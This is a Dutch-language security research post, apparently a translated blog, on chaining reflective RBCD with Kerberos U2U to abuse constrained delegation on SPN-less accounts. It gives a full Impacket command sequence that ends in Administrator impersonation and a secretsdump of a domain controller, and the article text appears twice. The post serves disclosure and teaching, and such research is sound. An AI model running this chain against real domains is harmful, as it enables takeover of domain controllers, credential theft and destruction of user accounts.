Dit artikel beschrijft een geavanceerde techniek voor het misbruiken van Kerberos-delegatie in Windows-omgevingen, specifiek gericht op Constrained Delegation zonder Protocol Transition bij accounts die geen Service Principal Name (SPN) hebben.
De methode combineert twee bestaande onderzoeken: de Reflective Resource-Based Constrained Delegation (RBCD) van Elad Shamir en de User-to-User (U2U) techniek van James Forshaw. Door Impacket uit te breiden om S4U2Proxy met U2U te ondersteunen, is het mogelijk om een forwardable ticket te verkrijgen voor accounts zonder SPN.
Cruciale voorwaarden en effecten:
- RC4-encryptie moet zijn toegestaan in het domein.
- Machine Account Quota (MAQ) moet ingeschakeld zijn.
- De gebruiker die vertrouwd is voor delegatie wordt effectief vernietigd, omdat de wachtwoordhash wordt vervangen door de TGT-sessiesleutel.
Het proces verloopt via een reeks stappen: het verkrijgen van de TGT-sessiesleutel, het aanmaken van een helper-machine account via MAQ, het configureren van RBCD en het uitvoeren van een aangepaste S4U2Proxy-aanvraag om uiteindelijk als Administrator te kunnen inloggen op de doelserver.
Misbruik van Constrained Delegation zonder Protocol Transition tegen accounts zonder SPN
TL;DR
Er zijn echter belangrijke kanttekeningen: net als bij de methode van Forshaw vereist dit dat RC4 is toegestaan in het domein, wordt het getroffen gebruikersaccount vernietigd, en moet MAQ (Machine Account Quota) in het domein zijn ingeschakeld (of moet er al iets met een SPN zijn gecompromitteerd).
Voortbouwend op bestaand onderzoek
Constrained Delegation
Er zijn twee vormen van Constrained Delegation in Kerberos:
- Met Protocol Transition: Hiermee kan een service een gebruiker imiteren zonder dat deze eerst hoeft te authenticeren. Om imitatie zonder authenticatie mogelijk te maken, introduceerde Microsoft S4U2Self om tickets te genereren die vervolgens kunnen worden gebruikt met een S4U2Proxy.
- Zonder Protocol Transition: De service kan niet zelfstandig forwardable tickets genereren via S4U2Self. In plaats daarvan kan een S4U2Proxy alleen worden uitgevoerd als de service die is vertrouwd voor delegatie al over een forwardable ticket beschikt voor de gebruiker die geïmiteerd moet worden.
Reflective Resource-Based Constrained Delegation
Standaard kan elke gebruiker of machine in een domein het attribuut msDS-AllowedToActOnBehalfOfOtherIdentity voor zichzelf bewerken, waardoor Resource-Based Constrained Delegation (RBCD) op zichzelf wordt geconfigureerd. RBCD volgt dezelfde S4U-mechanismen als Constrained Delegation met Protocol Transition, maar de service bepaalt wie er naar hem mag delegeren in plaats van het domein.
Bij het misbruiken van Constrained Delegation zonder Protocol Transition ontdekte Elad Shamir dat een aanvaller RBCD kan configureren op een gecompromitteerde resource om een via MAQ toegevoegde machine (of alles met een SPN) te vertrouwen. Vervolgens kan S4U2Proxy worden gebruikt om een forwardable service ticket te genereren als een gebruiker met verhoogde rechten. Dit ticket kan daarna worden gebruikt als bewijsmateriaal in een tweede S4U2Proxy tegen de oorspronkelijke service waarnaar de gecompromitteerde resource mag delegeren.
Deze keten van delegatie om een forwardable service ticket te produceren en te gebruiken, wordt Reflective Resource-Based Constrained Delegation genoemd.
Misbruik van delegatie bij accounts zonder SPN
Als een account dat vertrouwd is voor delegatie geen SPN heeft, is het nog steeds mogelijk om tickets te genereren via een alternatieve methode genaamd User-to-User (U2U) authenticatie. Bij U2U versleutelt de KDC tickets met een TGT-sessiesleutel in plaats van met de wachtwoorden van services, wat ticketgeneratie naar resources zonder SPN's mogelijk maakt.
Bij het misbruiken van Constrained Delegation met Protocol Transition ontdekte James Forshaw dat als je de wachtwoordhash van een gebruiker verandert in die van de TGT-sessiesleutel, je succesvol een geïmiteerd ticket kunt genereren en via delegatie kunt pivoten. Deze tactiek vernietigt echter het gebruikersaccount, aangezien de inloggegevens niet langer geldig zijn.
De methodologische kloof
Met het huidige onderzoek kunnen we Reflective RBCD gebruiken om Constrained Delegation zonder Protocol Transition te misbruiken, maar dit vereist dat SPN's werken. We hebben ook manieren om Constrained Delegation tegen accounts zonder SPN te misbruiken, maar dit is alleen van toepassing op de variant met Protocol Transition.
Dit bericht introduceert een nieuwe weg: het misbruiken van Constrained Delegation zonder Protocol Transition tegen accounts zonder SPN door Reflective RBCD te combineren met U2U.
Net als bij de andere tactieken zijn de volgende voorwaarden vereist:
- Het domein staat RC4-encryptie toe.
- Machine Account Quota (MAQ) is ingeschakeld.
- Een resource zonder SPN kan RBCD configureren.
- Let op: dit vernietigt de gebruiker die vertrouwd is voor delegatie.
Uitvoering: Constrained Delegation zonder Protocol Transition tegen accounts zonder SPN
Stel dat we de gebruiker LAMB hebben gecompromitteerd met het wachtwoord Password1!. Deze gebruiker mag delegeren naar host/DC01.secure.local via Constrained Delegation zonder Protocol Transition. Echter, LAMB heeft geen SPN geconfigureerd.
Om succesvol naar DC01 te pivoten via delegatie, combineren we het werk van Elad Shamir en James Forshaw:
- Vraag de TGT aan en extraheer de TGT-sessiesleutel voor
LAMB.
- Voeg een nieuwe computer toe aan het domein via Machine Account Quota (MAQ).
- Configureer RBCD op
LAMB zodat deze de toegevoegde machine vertrouwt voor delegatie.
- Wijzig de wachtwoordhash van
LAMB naar de TGT-sessiesleutel.
- Voer een S4U2Proxy uit met U2U om een forwardable service ticket te produceren als een gebruiker met verhoogde rechten.
- Geef dat forwardable ticket (met een extra S4U2Proxy) door aan de service waarnaar de gecompromitteerde resource mag delegeren.
Stap 1: TGT van LAMB verkrijgen en de sessiesleutel extraheren
getTGT.py -hashes :$(pypykatz crypto nt 'Password1!') 'secure.local/LAMB' -dc-ip 10.0.1.40
describeTicket.py ./LAMB.ccache | grep "Ticket Session Key"
In dit voorbeeld is de sessiesleutel: b4758bcc4845a2bd4860eb5e8c3f5d12.
Stap 2: Een helper-machine account aanmaken via MAQ
addcomputer.py -computer-name 'LAMBPC$' -computer-pass 'Password123!' -dc-ip 10.0.1.40 'secure.local/LAMB:Password1!'
Stap 3: LAMB configureren om LAMBPC$ te vertrouwen voor delegatie
rbcd.py -delegate-from 'LAMBPC$' -delegate-to 'LAMB' -dc-ip 10.0.1.40 -action 'write' 'secure.local/LAMB:Password1!'
Stap 4: LAMB opofferen (Sacrifice)
changepasswd.py -newhashes ':b4758bcc4845a2bd4860eb5e8c3f5d12' 'secure.local/LAMB:Password1!'@10.0.1.40
Stap 5: U2U+RBCD S4U2Proxy (Nieuwe stap)
getST.py -u2u -impersonate 'Administrator' -nospn 'LAMB' -tgt './LAMB.ccache' -dc-ip 10.0.1.40 'secure.local/LAMBPC$:Password123!'
Stap 6: S4U2Proxy
export KRB5CCNAME=./LAMB.ccache
getST.py -impersonate 'Administrator' -spn 'host/DC01.secure.local' -additional-ticket './Administrator@[email protected]' -k -no-pass -dc-ip 10.0.1.40 'secure.local/LAMB'
Stap 7: Resultaat
export KRB5CCNAME=./Administrator@[email protected]
secretsdump.py -k DC01.secure.local
Een S4U2Proxy uitvoeren met U2U
De vernieuwende stap vindt plaats tijdens de reflectieve RBCD, wanneer de eerste S4U2Proxy wordt uitgevoerd om een forwardable ticket te verkrijgen. Omdat LAMB geen SPN heeft, is het uitvoeren van een S4U2Proxy met U2U de juiste aanpak. Dit is een geldige Kerberos-operatie, maar Impacket ondersteunde deze specifieke functionaliteit tot voor kort niet.
Om S4U2Proxy met U2U werkend te krijgen, zijn de volgende wijzigingen in getST.py doorgevoerd:
- In
PA-PAC-OPTIONS is de vlag resourcebasedconstraineddelegation op True gezet. Zonder deze instelling gaf de KDC de fout KDCERR_BADOPTION terug.
- In
kdc-options is de vlag enc-tkt-in-skey op True gezet. Hiermee wordt de KDC geïnstrueerd om het responsticket te versleutelen met een TGT-sessiesleutel.
- In
sname is het name-type ingesteld op kRB5-NT-UNKNOWN en is de doelgebruiker gespecificeerd in SNameString. Hiermee wordt de servicenaam ingesteld op LAMB, onze doelgebruiker zonder SPN.
- Een traditionele S4U2Proxy-aanvraag stuurt een evidence ticket naar de KDC. Omdat we echter U2U gebruiken, moeten we ook een TGT meegeven zodat de KDC de sessiesleutel kan extraheren. Het eerste ticket is onze TGT voor
LAMB, en het tweede is het Administrator evidence ticket dat is gegenereerd door S4U2Self.
Hiermee kunnen we nu succesvol S4U2Proxy met U2U gebruiken om een forwardable ticket te genereren voor een resource zonder SPN.
Conclusie
Zonder het fantastische onderzoek van voorgangers zou ik dit pad nooit hebben ontdekt. Door de Reflective RBCD van Elad Shamir te combineren met de U2U-trick van James Forshaw, kunnen we nu Constrained Delegation zonder Protocol Transition misbruiken tegen accounts zonder SPN. Dit is geen nieuwe kwetsbaarheid in Kerberos, maar eerder een nieuwe reeks stappen om een configuratie succesvol uit te buiten die voorheen blijkbaar nooit is gedaan.
Referenties
- https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html
- https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
- https://hunio.org/security/abusing-delegation-with-impacket/
- https://mochabyte.xyz/2025/11/09/kerberos-love-story/
- https://i.blackhat.com/USA-22/Wednesday/US-22-Forshaw-Taking-Kerberos-To-The-Next-Level.pdf
- https://www.sprocketsecurity.com/blog/abusing-constrained-delegation-without-protocol-transition-against-spn-less-accounts
- https://github.com/fortra/impacket/pull/2324
Misbruik van Constrained Delegation zonder Protocol Transition tegen accounts zonder SPN
TL;DR
Er zijn echter belangrijke kanttekeningen: net als bij de methode van Forshaw vereist dit dat RC4 is toegestaan in het domein, wordt het getroffen gebruikersaccount vernietigd, en moet MAQ (Machine Account Quota) in het domein zijn ingeschakeld (of moet er al iets met een SPN zijn gecompromitteerd).
Voortbouwend op bestaand onderzoek
Constrained Delegation
Er zijn twee vormen van Constrained Delegation in Kerberos:
- Met Protocol Transition: Hiermee kan een service een gebruiker imiteren zonder dat deze eerst hoeft te authenticeren. Om imitatie zonder authenticatie mogelijk te maken, introduceerde Microsoft S4U2Self om tickets te genereren die vervolgens kunnen worden gebruikt met een S4U2Proxy.
- Zonder Protocol Transition: De service kan niet zelfstandig forwardable tickets genereren via S4U2Self. In plaats daarvan kan een S4U2Proxy alleen worden uitgevoerd als de service die is vertrouwd voor delegatie al over een forwardable ticket beschikt voor de gebruiker die geïmiteerd moet worden.
Reflective Resource-Based Constrained Delegation
Standaard kan elke gebruiker of machine in een domein het attribuut msDS-AllowedToActOnBehalfOfOtherIdentity voor zichzelf bewerken, waardoor Resource-Based Constrained Delegation (RBCD) op zichzelf wordt geconfigureerd. RBCD volgt dezelfde S4U-mechanismen als Constrained Delegation met Protocol Transition, maar de service bepaalt wie er naar hem mag delegeren in plaats van het domein.
Bij het misbruiken van Constrained Delegation zonder Protocol Transition ontdekte Elad Shamir dat een aanvaller RBCD kan configureren op een gecompromitteerde resource om een via MAQ toegevoegde machine (of alles met een SPN) te vertrouwen. Vervolgens kan S4U2Proxy worden gebruikt om een forwardable service ticket te genereren als een gebruiker met verhoogde rechten. Dit ticket kan daarna worden gebruikt als bewijsmateriaal in een tweede S4U2Proxy tegen de oorspronkelijke service waarnaar de gecompromitteerde resource mag delegeren.
Deze keten van delegatie om een forwardable service ticket te produceren en te gebruiken, wordt Reflective Resource-Based Constrained Delegation genoemd.
Misbruik van delegatie bij accounts zonder SPN
Als een account dat vertrouwd is voor delegatie geen SPN heeft, is het nog steeds mogelijk om tickets te genereren via een alternatieve methode genaamd User-to-User (U2U) authenticatie. Bij U2U versleutelt de KDC tickets met een TGT-sessiesleutel in plaats van met de wachtwoorden van services, wat ticketgeneratie naar resources zonder SPN's mogelijk maakt.
Bij het misbruiken van Constrained Delegation met Protocol Transition ontdekte James Forshaw dat als je de wachtwoordhash van een gebruiker verandert in die van de TGT-sessiesleutel, je succesvol een geïmiteerd ticket kunt genereren en via delegatie kunt pivoten. Deze tactiek vernietigt echter het gebruikersaccount, aangezien de inloggegevens niet langer geldig zijn.
De methodologische kloof
Met het huidige onderzoek kunnen we Reflective RBCD gebruiken om Constrained Delegation zonder Protocol Transition te misbruiken, maar dit vereist dat SPN's werken. We hebben ook manieren om Constrained Delegation tegen accounts zonder SPN te misbruiken, maar dit is alleen van toepassing op de variant met Protocol Transition.
Dit bericht introduceert een nieuwe weg: het misbruiken van Constrained Delegation zonder Protocol Transition tegen accounts zonder SPN door Reflective RBCD te combineren met U2U.
Net als bij de andere tactieken zijn de volgende voorwaarden vereist:
- Het domein staat RC4-encryptie toe.
- Machine Account Quota (MAQ) is ingeschakeld.
- Een resource zonder SPN kan RBCD configureren.
- Let op: dit vernietigt de gebruiker die vertrouwd is voor delegatie.
Uitvoering: Constrained Delegation zonder Protocol Transition tegen accounts zonder SPN
Stel dat we de gebruiker LAMB hebben gecompromitteerd met het wachtwoord Password1!. Deze gebruiker mag delegeren naar host/DC01.secure.local via Constrained Delegation zonder Protocol Transition. Echter, LAMB heeft geen SPN geconfigureerd.
Om succesvol naar DC01 te pivoten via delegatie, combineren we het werk van Elad Shamir en James Forshaw:
- Vraag de TGT aan en extraheer de TGT-sessiesleutel voor
LAMB.
- Voeg een nieuwe computer toe aan het domein via Machine Account Quota (MAQ).
- Configureer RBCD op
LAMB zodat deze de toegevoegde machine vertrouwt voor delegatie.
- Wijzig de wachtwoordhash van
LAMB naar de TGT-sessiesleutel.
- Voer een S4U2Proxy uit met U2U om een forwardable service ticket te produceren als een gebruiker met verhoogde rechten.
- Geef dat forwardable ticket (met een extra S4U2Proxy) door aan de service waarnaar de gecompromitteerde resource mag delegeren.
Stap 1: TGT van LAMB verkrijgen en de sessiesleutel extraheren
getTGT.py -hashes :$(pypykatz crypto nt 'Password1!') 'secure.local/LAMB' -dc-ip 10.0.1.40
describeTicket.py ./LAMB.ccache | grep "Ticket Session Key"
In dit voorbeeld is de sessiesleutel: b4758bcc4845a2bd4860eb5e8c3f5d12.
Stap 2: Een helper-machine account aanmaken via MAQ
addcomputer.py -computer-name 'LAMBPC$' -computer-pass 'Password123!' -dc-ip 10.0.1.40 'secure.local/LAMB:Password1!'
Stap 3: LAMB configureren om LAMBPC$ te vertrouwen voor delegatie
rbcd.py -delegate-from 'LAMBPC$' -delegate-to 'LAMB' -dc-ip 10.0.1.40 -action 'write' 'secure.local/LAMB:Password1!'
Stap 4: LAMB opofferen (Sacrifice)
changepasswd.py -newhashes ':b4758bcc4845a2bd4860eb5e8c3f5d12' 'secure.local/LAMB:Password1!'@10.0.1.40
Stap 5: U2U+RBCD S4U2Proxy (Nieuwe stap)
getST.py -u2u -impersonate 'Administrator' -nospn 'LAMB' -tgt './LAMB.ccache' -dc-ip 10.0.1.40 'secure.local/LAMBPC$:Password123!'
Stap 6: S4U2Proxy
export KRB5CCNAME=./LAMB.ccache
getST.py -impersonate 'Administrator' -spn 'host/DC01.secure.local' -additional-ticket './Administrator@[email protected]' -k -no-pass -dc-ip 10.0.1.40 'secure.local/LAMB'
Stap 7: Resultaat
export KRB5CCNAME=./Administrator@[email protected]
secretsdump.py -k DC01.secure.local
Een S4U2Proxy uitvoeren met U2U
De vernieuwende stap vindt plaats tijdens de reflectieve RBCD, wanneer de eerste S4U2Proxy wordt uitgevoerd om een forwardable ticket te verkrijgen. Omdat LAMB geen SPN heeft, is het uitvoeren van een S4U2Proxy met U2U de juiste aanpak. Dit is een geldige Kerberos-operatie, maar Impacket ondersteunde deze specifieke functionaliteit tot voor kort niet.
Om S4U2Proxy met U2U werkend te krijgen, zijn de volgende wijzigingen in getST.py doorgevoerd:
- In
PA-PAC-OPTIONS is de vlag resourcebasedconstraineddelegation op True gezet. Zonder deze instelling gaf de KDC de fout KDCERR_BADOPTION terug.
- In
kdc-options is de vlag enc-tkt-in-skey op True gezet. Hiermee wordt de KDC geïnstrueerd om het responsticket te versleutelen met een TGT-sessiesleutel.
- In
sname is het name-type ingesteld op kRB5-NT-UNKNOWN en is de doelgebruiker gespecificeerd in SNameString. Hiermee wordt de servicenaam ingesteld op LAMB, onze doelgebruiker zonder SPN.
- Een traditionele S4U2Proxy-aanvraag stuurt een evidence ticket naar de KDC. Omdat we echter U2U gebruiken, moeten we ook een TGT meegeven zodat de KDC de sessiesleutel kan extraheren. Het eerste ticket is onze TGT voor
LAMB, en het tweede is het Administrator evidence ticket dat is gegenereerd door S4U2Self.
Hiermee kunnen we nu succesvol S4U2Proxy met U2U gebruiken om een forwardable ticket te genereren voor een resource zonder SPN.
Conclusie
Zonder het fantastische onderzoek van voorgangers zou ik dit pad nooit hebben ontdekt. Door de Reflective RBCD van Elad Shamir te combineren met de U2U-trick van James Forshaw, kunnen we nu Constrained Delegation zonder Protocol Transition misbruiken tegen accounts zonder SPN. Dit is geen nieuwe kwetsbaarheid in Kerberos, maar eerder een nieuwe reeks stappen om een configuratie succesvol uit te buiten die voorheen blijkbaar nooit is gedaan.
Referenties
- https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html
- https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
- https://hunio.org/security/abusing-delegation-with-impacket/
- https://mochabyte.xyz/2025/11/09/kerberos-love-story/
- https://i.blackhat.com/USA-22/Wednesday/US-22-Forshaw-Taking-Kerberos-To-The-Next-Level.pdf
- https://www.sprocketsecurity.com/blog/abusing-constrained-delegation-without-protocol-transition-against-spn-less-accounts
- https://github.com/fortra/impacket/pull/2324
Groetjes,